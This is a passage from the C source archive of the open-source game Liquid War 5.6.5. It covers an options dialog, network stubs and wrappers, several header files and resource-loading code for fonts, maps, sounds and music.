(LW_LANG_STRING_ADVANCED_BASEHEALTH); d[7].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_WINNERHELP); d[8].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_CPUSTRENGTH); d[9].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_CPUVSHUMAN); d[10].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS); d[11].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_ASMALGORITHM); d[12].d1 = d[13].d1 = d[14].d1 = d[15].d1 = 16; d[16].d1 = 4; d[12].dp3 = &CONFIG_FIGHTER_ATTACK; d[13].dp3 = &CONFIG_FIGHTER_DEFENSE; d[14].dp3 = &CONFIG_FIGHTER_NEW_HEALTH; d[15].dp3 = &CONFIG_NUMBER_INFLUENCE; d[16].dp3 = &CONFIG_CPU_ADVANTAGE; d[17].dp = get_cpu_vs_human_str (); d[18].dp = get_allow_network_bots_str (); d[19].dp = get_asm_algorithm_str (); for (i = 12; i < 17; ++i) { d[i].dp = NULL; d[i].dp2 = slider_int; temp = d[i].dp3; d[i].d2 = *temp; } #ifndef ASM /* * If no assembly code has been compiled, we disable the button */ d[10].flags = D_HIDDEN; d[18].flags = D_HIDDEN; #endif d[20].proc = 0; while (retour == 0) { choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 17: CONFIG_CPU_VS_HUMAN = (CONFIG_CPU_VS_HUMAN + 1) % 3; d[17].dp = get_cpu_vs_human_str (); scare_mouse (); my_button_proc (MSG_DRAW, d + 17, 0); unscare_mouse (); break; case 18: CONFIG_ALLOW_NETWORK_BOTS = CONFIG_ALLOW_NETWORK_BOTS ? 0 : 1; d[18].dp = get_allow_network_bots_str (); scare_mouse (); my_button_proc (MSG_DRAW, d + 18, 0); unscare_mouse (); break; case 19: CONFIG_ASM_ALGORITHM = CONFIG_ASM_ALGORITHM ? 0 : 1; d[19].dp = get_asm_algorithm_str (); scare_mouse (); my_button_proc (MSG_DRAW, d + 19, 0); unscare_mouse (); break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/sockdos.c0000664000372000037200000001270513407756104015546 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sockdos.c */ /* content : fake DOS network support to avoid link failure */ /* last update : April 13th 2001 */ /********************************************************************/ /* * This file contains empty functions even if DOS releases of LW * have no network support. It permits safe linking. */ /*==================================================================*/ /* globals */ /*==================================================================*/ int LW_SOCK_LOG = 0; /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_sock_init () { return 0; } /*------------------------------------------------------------------*/ int lw_sock_exit () { return 0; } /*------------------------------------------------------------------*/ int lw_sock_listen (int *sock, char *ip, int port) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_accept (int *new_sock, char *ip, int *port, int listening_sock) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_connect (int *sock, char *ip, int port) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_peek_ex (int sock, int len) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_send_str_ex (int sock, char *str) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_recv_str_ex (int sock, char *str) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_send_buffer_ex (int sock, char *buffer, int len) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_recv_buffer_ex (int sock, char *buffer, int len) { return 0; } /*------------------------------------------------------------------*/ int lw_sock_close (int *sock) { return 0; } liquidwar-5.6.5/src/message.h0000664000372000037200000000761113407756104015532 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : message.h */ /* contenu : gestion des messages pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MESSAGE #define LIQUID_WAR_INCLUDE_MESSAGE /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void clear_message (void); void display_message (void); void message_str (char *str); void message_int (int val); void message_str_int (char *str, int val); #endif liquidwar-5.6.5/src/netplay.h0000664000372000037200000001015613407756104015560 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : netplay.h */ /* content : function which launches a network game */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETPLAY #define LIQUID_WAR_INCLUDE_NETPLAY /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int netplay_sequence (void); #endif liquidwar-5.6.5/src/netmap.h0000664000372000037200000001040613407756104015366 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netmap.h */ /* content : functions to transmit maps over the network */ /* last update : June 30th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETMAP #define LIQUID_WAR_INCLUDE_NETMAP #include "base.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* structs */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ int lw_netmap_send (int *sock, void *netmap); int lw_netmap_recv (int *sock, void **netmap); #endif liquidwar-5.6.5/src/langfr.h0000664000372000037200000001055413407756104015357 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langfr.h */ /* content : handles French dependant stuff (locale) */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANGFR #define LIQUID_WAR_INCLUDE_LANGFR /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_langfr_init (); extern char *lw_langfr_string (int id); #endif liquidwar-5.6.5/src/options.h0000664000372000037200000001025413407756104015576 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : options.h */ /* contenu : choix des options */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_OPTIONS #define LIQUID_WAR_INCLUDE_OPTIONS /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int options (void); #endif liquidwar-5.6.5/src/srvteam.h0000664000372000037200000001052413407756104015564 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvteam.h */ /* content : handles a team on the server */ /* last update : May 8th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SRVTEAM #define LIQUID_WAR_INCLUDE_SRVTEAM /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int active; int network; int server_id; int control_type; char name[NAME_SIZE + 1]; } LW_SRVTEAM; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void lw_srvteam_reset (LW_SRVTEAM * team); #endif liquidwar-5.6.5/src/sock2srv.c0000664000372000037200000001304213407756104015650 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sock2srv.c */ /* content : wrapper functions used on the server */ /* last update : July 2md 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "sock2gen.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* static functions */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_sock_peek (int *sock, int len) { int result = 0; result = lw_sock_peek_ex (sock, len); return result; } /*------------------------------------------------------------------*/ int lw_sock_send_str (int *sock, char *str) { int result = 0; result = lw_sock_send_str_ex (sock, str); return result; } /*------------------------------------------------------------------*/ int lw_sock_recv_str (int *sock, char *str) { int result = 0; result = lw_sock_recv_str_ex (sock, str); return result; } /*------------------------------------------------------------------*/ int lw_sock_send_buffer (int *sock, char *buffer, int len) { int result = 0; result = lw_sock_send_buffer_ex (sock, buffer, len); return result; } /*------------------------------------------------------------------*/ int lw_sock_recv_buffer (int *sock, char *buffer, int len) { int result = 0; result = lw_sock_recv_buffer_ex (sock, buffer, len); return result; } liquidwar-5.6.5/src/disk.c0000664000372000037200000004240513407756104015033 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : disk.c */ /* contenu : lecture des donnees du fichier .dat */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "alleg2.h" #include "init.h" #include "disk.h" #include "log.h" #include "map.h" #include "palette.h" #include "startup.h" #include "texture.h" #include "macro.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #define SAMPLE_SFX_NUMBER 6 /*==================================================================*/ /* variables globales */ /*==================================================================*/ int SAMPLE_WATER_NUMBER = 0; int RAW_TEXTURE_NUMBER = 0; int RAW_MAPTEX_NUMBER = 0; int RAW_MAP_NUMBER = 0; int MIDI_MUSIC_NUMBER = 0; int LOADED_BACK = 0; int LOADED_TEXTURE = 0; int LOADED_MAPTEX = 0; int LOADED_SFX = 0; int LOADED_WATER = 0; int LOADED_MUSIC = 0; SAMPLE *SAMPLE_SFX_TIME = NULL; SAMPLE *SAMPLE_SFX_WIN = NULL; SAMPLE *SAMPLE_SFX_GO = NULL; SAMPLE *SAMPLE_SFX_CLICK = NULL; SAMPLE *SAMPLE_SFX_LOOSE = NULL; SAMPLE *SAMPLE_SFX_CONNECT = NULL; SAMPLE *SAMPLE_WATER[SAMPLE_WATER_MAX_NUMBER]; void *RAW_MAP[RAW_MAP_MAX_NUMBER]; void *RAW_MAP_ORDERED[RAW_MAP_MAX_NUMBER]; void *RAW_TEXTURE[RAW_TEXTURE_MAX_NUMBER]; void *RAW_MAPTEX[RAW_TEXTURE_MAX_NUMBER]; MIDI *MIDI_MUSIC[MIDI_MUSIC_MAX_NUMBER]; BITMAP *BACK_IMAGE = NULL; FONT *BIG_FONT = NULL; FONT *SMALL_FONT = NULL; BITMAP *BIG_MOUSE_CURSOR = NULL; BITMAP *SMALL_MOUSE_CURSOR = NULL; BITMAP *INVISIBLE_MOUSE_CURSOR = NULL; static RGB *FONT_PALETTE = NULL; static RGB *BACK_PALETTE = NULL; static int CUSTOM_TEXTURE_OK = 0; static int CUSTOM_MAP_OK = 0; static int CUSTOM_MUSIC_OK = 0; /*------------------------------------------------------------------*/ /* chargement des effets sonores */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static void lock_sound (SAMPLE * smp) { LOCK_VARIABLE (*smp); #ifdef DOS _go32_dpmi_lock_data (smp->data, (smp->bits / 8) * smp->len); #else LW_MACRO_NOP (smp); #endif } /*------------------------------------------------------------------*/ static void read_sfx_dat (DATAFILE * df) { SAMPLE *list[SAMPLE_SFX_NUMBER]; int i; /* * First, we associate the _first_ sound of the sub datafile * to all sounds. This will operate as default value which * will prevent the game from segfaulting if we use it with * an outdated or too recent datafile */ for (i = 0; i < SAMPLE_SFX_NUMBER && df[i].type != DAT_END; ++i) { list[i] = df[0].dat; } /* * Now we associate the real sounds, provided that they exist... */ for (i = 0; i < 6 && df[i].type != DAT_END; ++i) { list[i] = df[i].dat; lock_sound (list[i]); } SAMPLE_SFX_TIME = list[0]; SAMPLE_SFX_WIN = list[1]; SAMPLE_SFX_CONNECT = list[2]; SAMPLE_SFX_GO = list[3]; SAMPLE_SFX_CLICK = list[4]; SAMPLE_SFX_LOOSE = list[5]; } /*------------------------------------------------------------------*/ static void read_water_dat (DATAFILE * df) { int i; for (i = 0; i < SAMPLE_WATER_DAT_NUMBER && df[i].type != DAT_END; ++i) { SAMPLE_WATER[i] = df[i].dat; lock_sound (SAMPLE_WATER[i]); SAMPLE_WATER_NUMBER++; } } /*------------------------------------------------------------------*/ /* chargement des autres donnees */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static void read_texture_dat (DATAFILE * df) { int i; RAW_TEXTURE_NUMBER = 0; for (i = 0; i < RAW_TEXTURE_DAT_NUMBER && df[i].type != DAT_END; ++i) { RAW_TEXTURE[i] = df[i].dat; RAW_TEXTURE_NUMBER++; } } /*------------------------------------------------------------------*/ static void read_maptex_dat (DATAFILE * df) { int i; RAW_MAPTEX_NUMBER = 0; for (i = 0; i < RAW_TEXTURE_DAT_NUMBER && df[i].type != DAT_END; ++i) { RAW_MAPTEX[i] = df[i].dat; RAW_MAPTEX_NUMBER++; } } /*------------------------------------------------------------------*/ static void read_map_dat (DATAFILE * df) { int i; RAW_MAP_NUMBER = 0; for (i = 0; i < RAW_MAP_DAT_NUMBER && df[i].type != DAT_END; ++i) { RAW_MAP[i] = df[i].dat; RAW_MAP_NUMBER++; } } /*------------------------------------------------------------------*/ static void read_back_dat (DATAFILE * df) { int i, x, y; BACK_PALETTE = df[1].dat; BACK_IMAGE = df[0].dat; /* * strange, with Allegro 4.0, the liquidwarcol utility * and the datafile compiler do not work so well together, * and so the palette stored in the datafile always * start at color 0, which explains the "18 shift" */ for (i = 0; i <= 45; ++i) GLOBAL_PALETTE[i + 18] = BACK_PALETTE[i]; for (x = 0; x < BACK_IMAGE->w; ++x) for (y = 0; y < BACK_IMAGE->w; ++y) { putpixel (BACK_IMAGE, x, y, getpixel (BACK_IMAGE, x, y) + 18); } } /*------------------------------------------------------------------*/ static void create_default_back (void) { static RGB back_coul; memset (&back_coul, 0, sizeof (RGB)); back_coul.r = 1; back_coul.g = 1; back_coul.b = 8; BACK_IMAGE = my_create_bitmap (1, 1); putpixel (BACK_IMAGE, 0, 0, 18); GLOBAL_PALETTE[18] = back_coul; } /*------------------------------------------------------------------*/ static void read_font_dat (DATAFILE * df) { int i; FONT_PALETTE = df[4].dat; SMALL_FONT = df[0].dat; BIG_FONT = df[1].dat; SMALL_MOUSE_CURSOR = df[2].dat; BIG_MOUSE_CURSOR = df[3].dat; INVISIBLE_MOUSE_CURSOR = df[5].dat; for (i = 1; i <= 17; ++i) GLOBAL_PALETTE[i] = FONT_PALETTE[i]; } /*------------------------------------------------------------------*/ static void read_music_dat (DATAFILE * df) { int i; MIDI_MUSIC_NUMBER = 0; for (i = 0; i < MIDI_MUSIC_DAT_NUMBER && df[i].type != DAT_END; ++i) { MIDI_MUSIC[i] = df[i].dat; MIDI_MUSIC_NUMBER++; } } /*------------------------------------------------------------------*/ int load_dat (void) { int result = 1; int loadable; DATAFILE *df; log_print_str ("Loading data from \""); log_print_str (STARTUP_DAT_PATH); log_print_str ("\""); #ifdef DOS loadable = 1; #else loadable = exists (STARTUP_DAT_PATH); #endif display_success (loadable); if (loadable) { log_print_str ("Loading fonts"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "font_dat"); if (result &= (df != NULL)) read_font_dat (df[0].dat); display_success (df != NULL); } if (loadable) { log_print_str ("Loading maps"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "map_dat"); if (result &= (df != NULL)) read_map_dat (df[0].dat); display_success (df != NULL); } if (loadable && STARTUP_BACK_STATE) { log_print_str ("Loading background bitmap"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "back_dat"); if (df != NULL) { read_back_dat (df[0].dat); LOADED_BACK = 1; } else { create_default_back (); result &= !STARTUP_CHECK; } display_success (df != NULL); } else create_default_back (); if (loadable && STARTUP_SFX_STATE) { log_print_str ("Loading sound fx"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "sfx_dat"); if (df != NULL) { read_sfx_dat (df[0].dat); LOADED_SFX = 1; } else result &= !STARTUP_CHECK; display_success (df != NULL); } if (loadable && STARTUP_TEXTURE_STATE) { log_print_str ("Loading textures"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "texture_dat"); if (df != NULL) { read_texture_dat (df[0].dat); LOADED_TEXTURE = 1; } else result &= !STARTUP_CHECK; display_success (df != NULL); log_print_str ("Loading map textures"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "maptex_dat"); if (df != NULL) { read_maptex_dat (df[0].dat); LOADED_MAPTEX = 1; } else result &= !STARTUP_CHECK; display_success (df != NULL); } if (loadable && STARTUP_WATER_STATE) { log_print_str ("Loading water sounds"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "water_dat"); if (df != NULL) { read_water_dat (df[0].dat); LOADED_WATER = 1; } else result &= !STARTUP_CHECK; display_success (df != NULL); } if (loadable && STARTUP_MUSIC_STATE) { log_print_str ("Loading midi music"); log_flush (); df = load_datafile_object (STARTUP_DAT_PATH, "music_dat"); if (df != NULL) { read_music_dat (df[0].dat); LOADED_MUSIC = 1; } else result &= !STARTUP_CHECK; display_success (df != NULL); } return loadable && result; } /*------------------------------------------------------------------*/ static int load_custom_texture_callback (const char *file, int mode, void *unused) { void *pointeur; LW_MACRO_NOP (mode); LW_MACRO_NOP (unused); if ((pointeur = lw_texture_archive_raw (file)) != NULL) { RAW_TEXTURE[RAW_TEXTURE_NUMBER++] = pointeur; log_print_str ("+"); CUSTOM_TEXTURE_OK = 1; } else { log_print_str ("-"); } log_flush (); return 0; } /*------------------------------------------------------------------*/ static int load_custom_texture (void) { int result = 1; char buf[512]; LW_MACRO_SPRINTF1 (buf, "%s\\*.*", STARTUP_TEX_PATH); fix_filename_case (buf); fix_filename_slashes (buf); CUSTOM_TEXTURE_OK = 0; for_each_file_ex (buf, 0, FA_DIREC, load_custom_texture_callback, NULL); result = CUSTOM_TEXTURE_OK; return result; } /*------------------------------------------------------------------*/ static int load_custom_map_callback (const char *file, int mode, void *unused) { void *pointeur; LW_MACRO_NOP (mode); LW_MACRO_NOP (unused); if ((pointeur = lw_map_archive_raw (file)) != NULL) { RAW_MAP[RAW_MAP_NUMBER++] = pointeur; log_print_str ("+"); CUSTOM_MAP_OK = 1; } else { log_print_str ("-"); } return 0; } /*------------------------------------------------------------------*/ static int load_custom_map (void) { int result = 1; char buf[512]; LW_MACRO_SPRINTF1 (buf, "%s\\*.*", STARTUP_MAP_PATH); fix_filename_case (buf); fix_filename_slashes (buf); CUSTOM_MAP_OK = 0; for_each_file_ex (buf, 0, FA_DIREC, 